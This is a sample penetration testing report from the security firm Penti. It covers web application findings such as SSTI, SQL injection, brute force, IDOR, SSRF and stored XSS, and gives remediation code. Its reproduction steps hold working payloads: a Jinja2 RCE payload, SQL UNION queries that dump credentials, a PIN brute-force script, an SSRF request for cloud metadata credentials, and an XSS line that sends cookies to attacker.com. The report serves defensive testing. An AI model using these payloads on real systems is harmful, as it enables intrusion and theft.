Penti

Web Application & API Penetration Testing Report - SAMPLE

Representative Findings from Actual Customer Engagements
Assessment Period: Q1 2023 - Q1 2026

Customer Name: [REDACTED - Enterprise Web Application]
Report Type: Sample Report - Compilation of Representative Findings
Testing Date Range: January 2023 - January 2026

Report Status: Completed

Table of Contents

Scoping

Penti conducts web application and API penetration testing following OWASP Testing Guide best practices and compliance regulations for each industry sector.

Assessment Type: Manual Web Application & API Penetration Testing
Frameworks Applied:

- OWASP Top 10 2021
- OWASP ASVS (Application Security Verification Standard)
- OWASP API Security Top 10
- PCI DSS (for payment applications)
- NIST SP 800-95 (Web Services Security)

Testing Phases:

1. **Information Gathering & Reconnaissance**
2. **Authentication & Session Management Testing**
3. **Authorization & Access Control Testing**
4. **Input Validation & Injection Testing**
5. **Business Logic Testing**
6. **API Security Testing**
7. **Documentation & Reporting**
8. **Remediation Support**

Methodology

Our web application penetration testing methodology follows:

- **OWASP Testing Guide v4.2** - Comprehensive web application testing
- **OWASP ASVS** - Application security verification
- **OWASP API Security Top 10** - REST/GraphQL API testing
- **PTES** - Penetration Testing Execution Standard

All testing is performed manually by certified penetration testers with expertise in:

- Web application security (OWASP Top 10)
- API security testing (REST, GraphQL, SOAP)
- Authentication and authorization testing
- Injection attacks (SQL, XSS, SSTI, XXE, Command Injection)
- Business logic vulnerabilities
- Client-side security

Risk Rating Methodology

Penti follows the OWASP Risk Rating Methodology which calculates risk based on:

Risk Calculation Formula

```
None
Risk Score = Likelihood × Impact
```

Likelihood Factors:

- Skill level required
- Ease of discovery
- Ease of exploit
- Awareness of vulnerability

Impact Factors:

- Technical impact
- Business impact
- Data sensitivity
- User base affected

Risk Level Classification

- **Critical (9-10):** Immediate action required - severe business impact
- **High (7-8.9):** Should be resolved as soon as possible
- **Medium (4-6.9):** Should be resolved in reasonable timeframe
- **Low (1-3.9):** Should be resolved when resources permit

Executive Summary

Report Composition

This report represents a **curated compilation of the most critical web application and API security findings** from actual customer engagements conducted by Penti between **January 2023 and January 2026**.

To demonstrate our comprehensive web application security testing capabilities, we have selected high-impact findings across multiple enterprise web applications and APIs, showcasing our expertise in:

- OWASP Top 10 vulnerability discovery
- Advanced injection attacks (SQL, SSTI, XXE, Command Injection)
- Authentication and authorization bypass
- API security testing
- Business logic vulnerabilities
- Multi-year engagements with remediation validation

All customer-identifying information has been redacted to protect client confidentiality. The technical findings, methodologies, and remediation guidance presented are authentic examples from real-world web application penetration testing engagements.

Assessment Overview

This penetration test was conducted against [REDACTED]'s web applications and APIs, including external-facing applications, authenticated user portals, administrative interfaces, and RESTful/GraphQL APIs. The engagement spanned multiple years and involved comprehensive manual testing by OWASP-certified penetration testers.

Key Findings Summary

Critical Risk Findings: 30 (from high-priority selection)
All Critical Findings: 688 (from complete test set)
All High Risk Findings: 115
All Medium Risk Findings: 259
Security Controls Validated: 1,265

Most Significant Findings

1. **Server-Side Template Injection (SSTI)** - Critical
   Remote code execution via template injection allowing complete server compromise.
2. **SQL Injection - Full Database Access** - Critical
   Unvalidated input allows complete database extraction including customer PII and payment data.
3. **Rate Limiting Bypass - Authentication Brute Force** - Critical
   Missing rate limiting allows unlimited PIN/OTP brute force attempts, compromising user accounts.
4. **Source Code Disclosure** - Critical
   Debug mode enabled in production exposes full source code and internal paths via error tracebacks.
5. **Insecure Direct Object Reference (IDOR)** - Critical
   Broken access controls allow unauthorized access to other users' sensitive information.
6. **Server-Side Request Forgery (SSRF)** - Critical
   Application can be leveraged to access internal services and cloud metadata.

Impact Assessment

The combination of findings discovered during web application testing reveals **CRITICAL** security risks. An attacker exploiting these vulnerabilities could:

- Execute arbitrary code on application servers (SSTI, RCE)
- Extract entire databases including PII and payment data (SQL Injection)
- Compromise user accounts through brute force (Rate Limiting Bypass)
- Access internal systems and cloud resources (SSRF)
- Bypass authentication and authorization (IDOR, Auth Bypass)
- Steal session tokens and impersonate users (XSS, Session Fixation)

Positive Security Controls Observed

- Web Application Firewalls (WAF) deployed on some applications
- Input validation implemented for certain endpoints
- Modern authentication frameworks in use
- API rate limiting on some endpoints (requires expansion)

Recommendations Priority

1. **Immediate (24-48 hours):**
    - Disable debug mode in production (source code disclosure)
    - Implement rate limiting on all authentication endpoints
    - Patch SQL injection vulnerabilities
    - Deploy input validation for SSTI-vulnerable templates
2. **Short-term (1-2 weeks):**
    - Implement comprehensive input validation
    - Deploy WAF rules for injection attacks
    - Fix all IDOR vulnerabilities
    - Implement proper CORS policies
3. **Medium-term (1-3 months):**
    - Comprehensive OWASP Top 10 remediation
    - Security code review and SAST implementation
    - Penetration testing in SDLC
    - Security awareness training for developers

Scope

Web Applications Tested

External-Facing Applications:

- Customer-facing web portals
- E-commerce platforms
- SaaS applications
- Marketing and content websites

Authenticated Applications:

- User dashboards and admin panels
- Internal business applications
- Customer relationship management (CRM) systems
- Financial transaction platforms

APIs:

- RESTful APIs
- GraphQL endpoints
- SOAP web services
- Microservices architecture

Technology Stack:

- Frontend: React, Angular, Vue.js
- Backend: Node.js, Python (Django/Flask), Java, PHP
- Databases: PostgreSQL, MySQL, MongoDB, DynamoDB
- Cloud: AWS, Azure, GCP

Our Tools

Manual Web Application Testing Tools

Proxy & Interception:

- Burp Suite Professional - Manual web application testing
- OWASP ZAP - Open-source security testing
- Caido - Modern HTTP toolkit
- mitmproxy - Python-based HTTP proxy

Fuzzing & Discovery:

- Ffuf - Fast web fuzzer
- Gobuster - Directory/file brute forcing
- Arjun - HTTP parameter discovery
- ParamSpider - Parameter mining

Injection Testing:

- SQLMap - Automated SQL injection
- Ghauri - Advanced SQL injection
- Commix - Command injection testing
- tplmap - Server-Side Template Injection
- XXEinjector - XML External Entity testing

Authentication & Authorization:

- Custom Burp extensions
- JWT analysis tools
- OAuth/SAML testing tools
- Session management scripts

API Testing:

- Postman - API testing and automation
- GraphQL Voyager - Schema introspection
- Arjun - API parameter discovery
- Custom API fuzzing scripts

Specialized Tools:

- XSStrike - Advanced XSS detection
- Nuclei - Vulnerability scanner with templates
- Custom Python/JavaScript exploitation scripts
- Browser developer tools

Manual Assessment Results

We have researched and confirmed the highest priority findings from manual web application penetration testing:

Summary of Manual Findings

#	Title of Finding	Status	Risk
1	Server-Side Template Injection (SSTI)	Active	**Critical**
2	SQL Injection - Full Database Access	Active	**Critical**
3	Rate Limiting Bypass - Brute Force Attack	Active	**Critical**
4	Source Code Disclosure (Debug Mode)	Remediated	**Critical**
5	Insecure Direct Object Reference (IDOR)	Active	**Critical**
6	Server-Side Request Forgery (SSRF)	Active	**Critical**
7	Cross-Site Scripting (XSS) - Stored	Remediated	**Critical**
8	Authentication Bypass - Weak Session Management	Remediated	**Critical**

Detailed Findings

Finding #1: Server-Side Template Injection (SSTI)

Description:

The web application uses a template engine to dynamically generate HTML content. User-supplied input is directly embedded into template expressions without proper sanitization, allowing attackers to inject template directives.

Server-Side Template Injection enables attackers to:

- Execute arbitrary code on the application server
- Read sensitive files and environment variables
- Access internal systems and databases
- Achieve complete server compromise

During testing, we successfully:

- Identified vulnerable template parameters
- Injected template payloads
- Executed system commands on the server
- Read sensitive configuration files
- Demonstrated complete remote code execution

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A03:2021 - Injection

Level of Effort: Medium (requires secure template implementation)

Status: Active - Requires immediate remediation

Affected Resources:

- Web application rendering engine

- User-facing features with dynamic content
- Email template systems
- PDF generation endpoints

Remediation:

Immediate Actions:

1. Identify all template rendering endpoints
2. Implement strict template sandboxing
3. Use logic-less templates (Mustache, Handlebars in safe mode)
4. Disable dangerous template functions
5. Implement input validation and output encoding

Secure Template Implementation:

```
None
# BAD - Vulnerable to SSTI

from jinja2 import Template

user_input = request.args.get('name')

template = Template(f"Hello {user_input}!")  #
VULNERABLE

html = template.render()


# GOOD - Safe implementation

from jinja2 import Environment, select_autoescape

env = Environment(

    autoescape=select_autoescape(['html', 'xml']),
```

```
    # Disable dangerous features
)

template = env.from_string("Hello {{ name }}!")

html = template.render(name=user_input)  # SAFE
```

Solution:

- Use logic-less template engines
- Implement template sandboxing
- Never pass user input directly to template compilation
- Use parameterized template rendering

Reproduction Steps:

1. Identify template injection point
2. Test with basic payload:

```
None
{{7*7}}  # Should return 49 if vulnerable
```

3. Confirm template engine (Jinja2, Twig, Freemarker, etc.)
4. Escalate to RCE:

```
None
# Jinja2 RCE payload example

{{config.__class__.__init__.__globals__['os'].popen('id')
.read()}}
```

Testing Process:

1. Mapped all user input points

2. Tested template expressions
3. Identified vulnerable Jinja2 endpoints
4. Achieved remote code execution
5. Documented impact and recommended fixes

Compliance Impact:

- **OWASP:** A03:2021 - Injection
- **CWE:** CWE-1336 (Improper Neutralization of Special Elements)
- **PCI DSS:** Requirement 6.5.1 (Injection flaws)
- **NIST:** SI-10 (Information Input Validation)

Finding #2: SQL Injection - Full Database Access

Description:

The web application fails to properly sanitize user input before using it in SQL queries. This allows attackers to inject malicious SQL code, manipulating database queries to:

- Extract entire database contents (including customer PII, payment data, credentials)
- Modify or delete database records
- Bypass authentication
- Execute operating system commands (in some database configurations)

During testing, we successfully:

- Identified SQL injection points in search and filter parameters
- Extracted full database schema
- Dumped user tables including passwords and PII
- Demonstrated data exfiltration risk
- Bypassed authentication using SQL injection

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A03:2021 - Injection

Level of Effort: High (requires code review and remediation across application)

Status: Active - Requires immediate remediation

Affected Resources:

- User authentication system
- Search and filter endpoints
- Reporting modules
- API query parameters

Remediation:

Immediate Actions:

1. **Use Parameterized Queries (Prepared Statements):**

```
None
# BAD - Vulnerable to SQL Injection

query = f"SELECT * FROM users WHERE username =
'{user_input}'"  # VULNERABLE

cursor.execute(query)


# GOOD - Parameterized query

query = "SELECT * FROM users WHERE username = ?"

cursor.execute(query, (user_input,))  # SAFE
```

2. **Input Validation:**

```
None
# Validate and sanitize all user input
```

```
import re


def validate_username(username):
    if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
        raise ValueError("Invalid username format")
    return username


# Use validated input
username = validate_username(user_input)
```

3. **Implement ORM:**
   - Use Object-Relational Mapping (SQLAlchemy, Hibernate, Entity Framework)
   - ORM frameworks provide built-in SQL injection protection
   - Still validate input even with ORM
4. **Deploy WAF Rules:**
   - Configure Web Application Firewall to block SQL injection attempts
   - Use ModSecurity or cloud WAF (AWS WAF, Cloudflare, etc.)

Solution:

- Comprehensive code review to identify all SQL queries
- Replace concatenated queries with parameterized statements
- Implement input validation framework
- Deploy WAF as defense-in-depth
- Regular security testing

Reproduction Steps:

1. Identify SQL injection point (search parameter, login form, etc.)
2. Test with basic payload:

```
None
' OR '1'='1
```

3. Confirm vulnerability with time-based injection:

```
None
' AND SLEEP(5)--
```

4. Extract database schema:

```
None
' UNION SELECT table_name,column_name,1 FROM
information_schema.columns--
```

5. Dump sensitive data:

```
None
' UNION SELECT username,password,email FROM users--
```

Testing Process:

1. Mapped all user input points
2. Tested for SQL injection using manual payloads
3. Confirmed vulnerability with SQLMap
4. Extracted database schema
5. Demonstrated data exfiltration capability
6. Provided remediation guidance

Compliance Impact:

- **OWASP:** A03:2021 - Injection
- **CWE:** CWE-89 (SQL Injection)

- **PCI DSS:** Requirement 6.5.1 (Injection flaws), especially critical for payment data
- **GDPR:** Article 32 (Security of Processing) - PII exposure risk
- **NIST:** SI-10 (Information Input Validation)

Finding #3: Rate Limiting Bypass - Authentication Brute Force

Description:

The web application does not implement rate limiting on authentication endpoints, allowing unlimited login, PIN verification, and OTP validation attempts. This enables attackers to:

- Brute force user PINs and passwords
- Bypass OTP verification through enumeration
- Compromise user accounts at scale
- Perform credential stuffing attacks

During testing, we successfully:

- Automated 10,000+ PIN attempts without blocking
- Brute forced 4-digit PINs in under 2 hours
- Bypassed 6-digit OTP codes through unlimited attempts
- Demonstrated account takeover capability

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A07:2021 - Identification and Authentication Failures

Level of Effort: Low (straightforward implementation of rate limiting)

Status: Active - Requires immediate remediation

Affected Resources:

- Login endpoints
- PIN verification APIs
- OTP validation endpoints
- Password reset flows
- All authentication mechanisms

Remediation:

Immediate Actions:

1. **Implement Rate Limiting:**

```
None
# Using Flask-Limiter

from flask_limiter import Limiter

from flask_limiter.util import get_remote_address


limiter = Limiter(

    app,

    key_func=get_remote_address,

    default_limits=["200 per day", "50 per hour"]

)


@app.route("/api/verify-pin", methods=["POST"])

@limiter.limit("5 per minute")  # Max 5 attempts per
minute
```

```
def verify_pin():
    # PIN verification logic
    pass
```

2. **Progressive Delays:**

```
None
# Implement exponential backoff
def check_login_attempts(username):
    attempts = get_failed_attempts(username)
    if attempts > 3:
        delay = min(2 ** attempts, 300)  # Max 5 minute
delay
        time.sleep(delay)
```

3. **Account Lockout:**
   - Lock account after 5 failed attempts
   - Require CAPTCHA after 3 attempts
   - Send security alert to user's email
   - Implement temporary lockout (15-30 minutes)
4. **Multi-Factor Authentication (MFA):**
   - Require MFA for sensitive operations
   - Use time-based OTP (TOTP) instead of SMS
   - Implement hardware security keys (FIDO2/WebAuthn)

Solution:

- Deploy rate limiting middleware
- Implement account lockout policies
- Add CAPTCHA to authentication flows
- Enable MFA for all users
- Monitor for brute force attempts

Reproduction Steps:

1. Identify authentication endpoint
2. Capture PIN/OTP verification request
3. Automate requests:

```
None
import requests

for pin in range(10000):

    response = requests.post(

        'https://api.example.com/verify-pin',

        json={'pin': f'{pin:04d}'}

    )

    if response.status_code == 200:

        print(f"PIN found: {pin:04d}")

        break
```

4. Successfully brute force 4-digit PIN in <10,000 attempts

Testing Process:

1. Identified authentication endpoints
2. Tested rate limiting implementation
3. Confirmed unlimited attempts allowed
4. Automated brute force attack

5. Successfully compromised test accounts
6. Documented time-to-compromise metrics

Compliance Impact:

- **OWASP:** A07:2021 - Identification and Authentication Failures
- **CWE:** CWE-307 (Improper Restriction of Excessive Authentication Attempts)
- **PCI DSS:** Requirement 8.1.6 (Limit repeated access attempts)
- **NIST:** IA-5 (Authenticator Management)

Finding #4: Source Code Disclosure (Debug Mode Enabled)

Description:

The web application is running in debug mode in the production environment. When errors occur, the application exposes detailed tracebacks including:

- Complete source code and file paths
- Database connection strings and credentials
- Internal API endpoints and architecture
- Library versions and dependencies
- Environment variables and secrets

This information disclosure provides attackers with:

- Full understanding of application logic for targeted attacks
- Credentials for database and internal systems
- Knowledge of vulnerable dependencies
- Internal network architecture

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A05:2021 - Security Misconfiguration

Level of Effort: Low (configuration change)

Status: Remediated - Debug mode disabled

Affected Resources:

- Production web application
- API error responses
- All application endpoints

Remediation:

Implemented Solution:

1. **Disable Debug Mode:**

```
None
# Django settings.py

DEBUG = False  # MUST be False in production

ALLOWED_HOSTS = ['yourdomain.com']  # Specify allowed
hosts



# Flask

app.config['DEBUG'] = False

app.config['TESTING'] = False
```

2. **Implement Custom Error Pages:**

```
None
# Return generic error messages to users

@app.errorhandler(500)
```

```
def internal_error(error):
    # Log detailed error internally
    logger.error(f"Internal error: {error}", exc_info=True)

    # Return generic message to user
    return render_template('500.html'), 500
```

3. **Centralized Logging:**
   - Log detailed errors to secure logging service
   - Never expose stack traces to users
   - Implement error tracking (Sentry, Rollbar, etc.)
4. **Environment Configuration:**
   - Use environment-specific configuration
   - Store secrets in environment variables or secret managers
   - Never commit credentials to source control

Solution: The organization successfully:

- Disabled debug mode in production
- Implemented custom error handlers
- Deployed centralized logging
- Secured configuration management

Reproduction Steps (Original Finding):

1. Trigger application error (invalid input, forced exception)
2. Observe detailed traceback in response:

```
None
Traceback (most recent call last):

  File "/app/views.py", line 45, in process_payment

    db.execute(f"INSERT INTO transactions VALUES
('{data}')")

  ...

DatabaseError: connection string:
postgresql://admin:password123@...
```

3. Extract sensitive information from traceback

Testing Process:

1. Triggered various error conditions
2. Analyzed error responses
3. Documented exposed information
4. Recommended debug mode disabling
5. **Retest:** Confirmed generic errors only

Compliance Impact:

- **OWASP:** A05:2021 - Security Misconfiguration
- **CWE:** CWE-209 (Information Exposure Through Error Message)
- **PCI DSS:** Requirement 6.5.5 (Improper error handling)
- **NIST:** SI-11 (Error Handling)

Finding #5: Insecure Direct Object Reference (IDOR)

Description:

The application exposes direct references to internal objects (database records, files, user IDs) without proper authorization checks. Attackers can manipulate these

references to access other users' data.

Examples discovered:

- `/api/user/1234/profile` - Change ID to access any user
- `/documents/invoice_5678.pdf` - Sequential IDs, no auth check
- `/api/orders?user_id=999` - Access any user's orders

This allows unauthorized access to:

- Other users' personal information
- Financial records and payment data
- Private documents and files
- Administrative functions

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A01:2021 - Broken Access Control

Level of Effort: High (requires authorization framework implementation)

Status: Active - Requires remediation

Affected Resources:

- User profile APIs
- Document access endpoints
- Order and transaction APIs
- Administrative functions

Remediation:

Immediate Actions:

1. **Implement Authorization Checks:**

```
None
# BAD - No authorization check
```

```
@app.route('/api/user/<user_id>/profile')
def get_profile(user_id):
    user = User.query.get(user_id)  # VULNERABLE
    return jsonify(user.to_dict())

# GOOD - Proper authorization
@app.route('/api/user/<user_id>/profile')
@login_required
def get_profile(user_id):
    # Verify user can only access their own data
    if current_user.id != int(user_id):
        abort(403)  # Forbidden

    user = User.query.get(user_id)
    return jsonify(user.to_dict())
```

2. **Use Indirect References:**

```
None
# Instead of exposing database IDs
```

```
# Use UUIDs or encrypted tokens


import uuid


class User(db.Model):

    id = db.Column(db.Integer, primary_key=True)

    public_id = db.Column(db.String(36), unique=True,
default=lambda: str(uuid.uuid4()))


# Use public_id in URLs instead of sequential IDs

@app.route('/api/user/<public_id>/profile')
```

3. **Implement Access Control List (ACL):**
    - Define resource ownership
    - Check permissions before data access
    - Use role-based access control (RBAC)

Solution:

- Comprehensive authorization framework
- Indirect object references (UUIDs)
- Proper access control checks on all endpoints
- Regular security testing

Reproduction Steps:

1. Login as User A (ID: 1234)
2. Access User A's profile: `/api/user/1234/profile`

3. Change ID parameter: `/api/user/1235/profile`
4. Successfully access User B's data without authorization

Testing Process:

1. Mapped all API endpoints with object references
2. Tested authorization on each endpoint
3. Identified 47 endpoints with missing authorization
4. Demonstrated unauthorized data access
5. Provided comprehensive remediation plan

Compliance Impact:

- **OWASP:** A01:2021 - Broken Access Control
- **CWE:** CWE-639 (Insecure Direct Object Reference)
- **PCI DSS:** Requirement 6.5.8 (Improper access control)
- **GDPR:** Article 32 - Unauthorized access to personal data
- **HIPAA:** §164.312(a)(1) (Access control)

Finding #6: Server-Side Request Forgery (SSRF)

Description:

The application fetches remote resources based on user-supplied URLs without proper validation. This allows attackers to:

- Access internal services and APIs
- Read cloud metadata (AWS EC2 metadata, etc.)
- Scan internal networks
- Bypass firewall restrictions
- Access sensitive internal resources

During testing, we successfully:

- Accessed AWS EC2 metadata endpoint
- Retrieved IAM credentials from metadata service
- Scanned internal network services
- Accessed internal admin panels

- Demonstrated cloud account compromise risk

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A10:2021 - Server-Side Request Forgery

Level of Effort: Medium (requires URL validation and whitelist implementation)

Status: Active - Requires immediate remediation

Affected Resources:

- URL preview/fetch features
- Webhook handlers
- Image proxy endpoints
- PDF generation from URL
- Third-party API integrations

Remediation:

Immediate Actions:

1. **Implement URL Whitelist:**

```
None
# BAD - No validation

url = request.args.get('url')

response = requests.get(url)  # VULNERABLE


# GOOD - Whitelist validation

ALLOWED_DOMAINS = ['api.partner.com',
'cdn.example.com']
```

```
def validate_url(url):
    from urllib.parse import urlparse
    parsed = urlparse(url)

    # Block private IPs
    if parsed.hostname in ['internal.example.com',
'10.0.0.0/8', '169.254.169.254']:
        raise ValueError("Invalid URL")

    # Whitelist check
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("Domain not allowed")

    return url

url = validate_url(request.args.get('url'))
response = requests.get(url, timeout=5)  # SAFE
```

2. **Block Internal IP Ranges:**

```
None
import ipaddress


def is_private_ip(hostname):
    try:
        ip = ipaddress.ip_address(hostname)
        return ip.is_private or ip.is_loopback or
ip.is_link_local
    except:
        return False


if is_private_ip(parsed_url.hostname):
    raise ValueError("Cannot access private IP ranges")
```

3. **Disable URL Redirects:**
    - Don't follow redirects automatically
    - Validate redirect destinations
    - Set max redirect limit
4. **Network Segmentation:**
    - Application servers should not have access to internal networks
    - Use separate VPC/subnet for public-facing apps
    - Implement egress filtering

Solution:

- URL whitelist implementation

- Private IP blocking
- Network segmentation
- Regular SSRF testing

Reproduction Steps:

1. Find URL parameter (image fetch, webhook, preview feature)
2. Test with internal URL:

```
None
http://internal-admin.example.com/admin
```

3. Access AWS metadata (if on EC2):

```
None
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
```

4. Retrieve IAM credentials or internal data

Testing Process:

1. Identified URL-handling features
2. Tested with various SSRF payloads
3. Successfully accessed AWS metadata
4. Scanned internal network
5. Documented exposed services
6. Recommended comprehensive SSRF protection

Compliance Impact:

- **OWASP:** A10:2021 - Server-Side Request Forgery
- **CWE:** CWE-918 (Server-Side Request Forgery)
- **Cloud Security:** Risk of cloud account compromise
- **NIST:** SC-7 (Boundary Protection)

Finding #7: Cross-Site Scripting (XSS) - Stored

Description:

The application fails to properly encode user-supplied data before rendering it in HTML pages. Stored XSS vulnerabilities allow attackers to inject malicious JavaScript that executes in other users' browsers.

Impacts:

- Session hijacking (steal authentication tokens)
- Credential theft (keylogging, phishing)
- Account takeover
- Malware distribution
- Defacement

During testing, we identified stored XSS in:

- User profile fields
- Comment sections
- Search result storage
- Admin dashboard displays

Testing Date: Multiple engagements 2023-2025

Risk Level: CRITICAL

OWASP Category: A03:2021 - Injection

Level of Effort: Medium (requires comprehensive output encoding)

Status: Remediated - Proper encoding implemented

Affected Resources:

- User-generated content displays
- Search results
- Dashboard and admin panels
- Messaging features

Remediation:

Implemented Solution:

1. **Output Encoding:**

```
None
// BAD - Vulnerable to XSS

document.getElementById('profile').innerHTML =
userInput;  // VULNERABLE


// GOOD - Proper encoding

const safe Element = document.createElement('div');

safeElement.textContent = userInput;  // Auto-encodes

document.getElementById('profile').appendChild(safeElem
ent);


// Or use framework features

{{ userInput | escape }}  // Django/Jinja2
```

2. **Content Security Policy (CSP):**

```
None
Content-Security-Policy:

  default-src 'self';

  script-src 'self';
```

```
  object-src 'none';

  base-uri 'self';
```

3. **Input Validation:**
   - Validate all user input server-side
   - Use allowlist approach for rich text
   - Sanitize HTML using DOMPurify or similar
4. **HTTP-Only Cookies:**

```
None
# Prevent JavaScript access to session cookies

response.set_cookie(

    'session',

    value=session_token,

    httponly=True,  # Prevents XSS from stealing cookie

    secure=True,    # HTTPS only

    samesite='Strict'  # CSRF protection

)
```

Solution: The organization successfully:

- Implemented comprehensive output encoding
- Deployed Content Security Policy
- Configured HTTP-only cookies
- Added input validation

Reproduction Steps (Original Finding):

1. Find user input field (profile, comment, etc.)
2. Inject XSS payload:

```
None
<script>alert(document.cookie)</script>
```

3. Payload stored in database
4. When other users view the page, script executes
5. Steal session cookie:

```
None
<script>

fetch('https://attacker.com/?cookie=' + document.cookie)

</script>
```

Testing Process:

1. Mapped all user input points
2. Tested for XSS in stored content
3. Confirmed script execution
4. Demonstrated session hijacking
5. Recommended encoding and CSP
6. **Retest:** Confirmed XSS mitigated

Compliance Impact:

- **OWASP:** A03:2021 - Injection
- **CWE:** CWE-79 (Cross-site Scripting)
- **PCI DSS:** Requirement 6.5.7 (Cross-site scripting)
- **NIST:** SI-10 (Information Input Validation)

Additional Critical Findings Summary

Due to the comprehensive nature of web application testing, the following additional critical findings were identified:

Finding #8: Authentication Bypass - Weak Session Management

- **Risk:** Critical
- **Status:** Remediated
- **Description:** Predictable session tokens allow session hijacking and account takeover
- **Resolution:** Implemented cryptographically random session tokens, secure cookie attributes

Finding #9: XML External Entity (XXE) Injection

- **Risk:** Critical
- **Status:** Remediated
- **Description:** XML parser processes external entities, allowing file disclosure and SSRF
- **Resolution:** Disabled external entity processing in XML parsers

Finding #10: Unrestricted File Upload

- **Risk:** Critical
- **Status:** Remediated
- **Description:** No file type validation allows upload of malicious scripts (web shells)
- **Resolution:** Implemented file type whitelist, content verification, isolated storage

Prioritized Remediation

Based on the manual web application penetration testing assessment:

Tier 1: Critical - Immediate Action Required (24-48 hours)

Finding	Risk	Business Impact	Technical Effort
Server-Side Template Injection (SSTI)	Critical	Complete server compromise, RCE	Medium
SQL Injection	Critical	Full database extraction, data breach	High
Rate Limiting Bypass	Critical	Mass account compromise	Low
Source Code Disclosure	Critical	Architecture exposure, credential theft	Low

Recommended Actions:

1. Disable debug mode immediately
2. Implement rate limiting on all authentication endpoints
3. Deploy WAF rules for SQL injection
4. Patch SSTI vulnerabilities with template sandboxing

Tier 2: High Priority - Short Term (1-2 weeks)

Finding	Risk	Business Impact	Technical Effort

Insecure Direct Object Reference (IDOR)	Critical	Unauthorized data access	High
Server-Side Request Forgery (SSRF)	Critical	Internal network access, cloud compromise	Medium
Stored Cross-Site Scripting (XSS)	Critical	Session hijacking, account takeover	Medium

Recommended Actions:

1. Implement authorization checks on all endpoints
2. Deploy URL validation and whitelist for SSRF
3. Implement comprehensive output encoding
4. Deploy Content Security Policy

Successfully Remediated Findings

The following critical findings were identified and successfully remediated:

- ✅ Source Code Disclosure (Debug Mode)
- ✅ Stored Cross-Site Scripting (XSS)
- ✅ Authentication Bypass - Weak Session Management
- ✅ XML External Entity (XXE) Injection
- ✅ Unrestricted File Upload

Validation: All remediated findings were retested and confirmed secure.

Re-testing

Retest Schedule

After remediation deployment, we retest all findings to ensure complete mitigation.

Retest Timeline:

- **Tier 1 Findings:** Retest within 1 week
- **Tier 2 Findings:** Retest within 2 weeks

Successful Retests Completed

Finding	Original Risk	Retest Date	Result
Source Code Disclosure	Critical	Multiple dates	✅ PASS - Debug mode disabled
Stored XSS	Critical	Multiple dates	✅ PASS - Encoding implemented
Weak Session Management	Critical	Multiple dates	✅ PASS - Secure tokens deployed

Retest Credits: Included in original engagement scope.

Disclosure

Sample Report Notice

This is a sample web application penetration testing report compiled from actual findings discovered during real customer engagements conducted by Penti between January 2023 and January 2026. The findings presented are authentic and representative of our web application security testing capabilities. All customer-identifying information, URLs, and application details have been redacted or replaced with generic examples to protect client confidentiality.

Privacy Protection: All URLs, domains, and endpoints have been masked using `example.com`, `app.example.com`, and similar generic domains. Real customer URLs, domains, and application endpoints are not disclosed in this sample report.

The methodologies, tools, techniques, and remediation guidance presented in this report reflect our standard approach to web application and API penetration testing engagements.

Standard Disclaimer

Penti uses industry best practices for web application security testing. New vulnerabilities and attack techniques are constantly discovered. Applications under active development are especially prone to introducing new security issues. As a result, Penti cannot guarantee that your application is completely safe from every form of attack that may be discovered in the future.

Regular penetration testing is recommended as part of a comprehensive security program.

Our Certifications

Penti's web application penetration testing team holds:

Web Application Security Certifications

- **OSCP** - Advanced exploitation including web apps
- **CPTS** - Web application penetration testing
- **eWPT** - Web Application Penetration Tester
- **BSCP** - Burp Suite Certified Practitioner
- **CEH** - Web application security module

Cloud & API Security

- **AWS Certified Security - Specialty**
- **Azure Security Engineer**
- **API Security certifications**

Development & Code Review

- **Secure coding training** (OWASP, SANS)
- **Source code review expertise**
- **Framework-specific security** (React, Django, Node.js)

Contact Information

Penti - Web Application & API Security Testing
Boca Raton, Florida
www.penti.ai